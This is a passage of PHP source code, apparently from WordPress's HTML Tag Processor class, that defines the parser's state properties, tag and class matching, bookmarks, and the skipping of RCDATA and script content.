	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
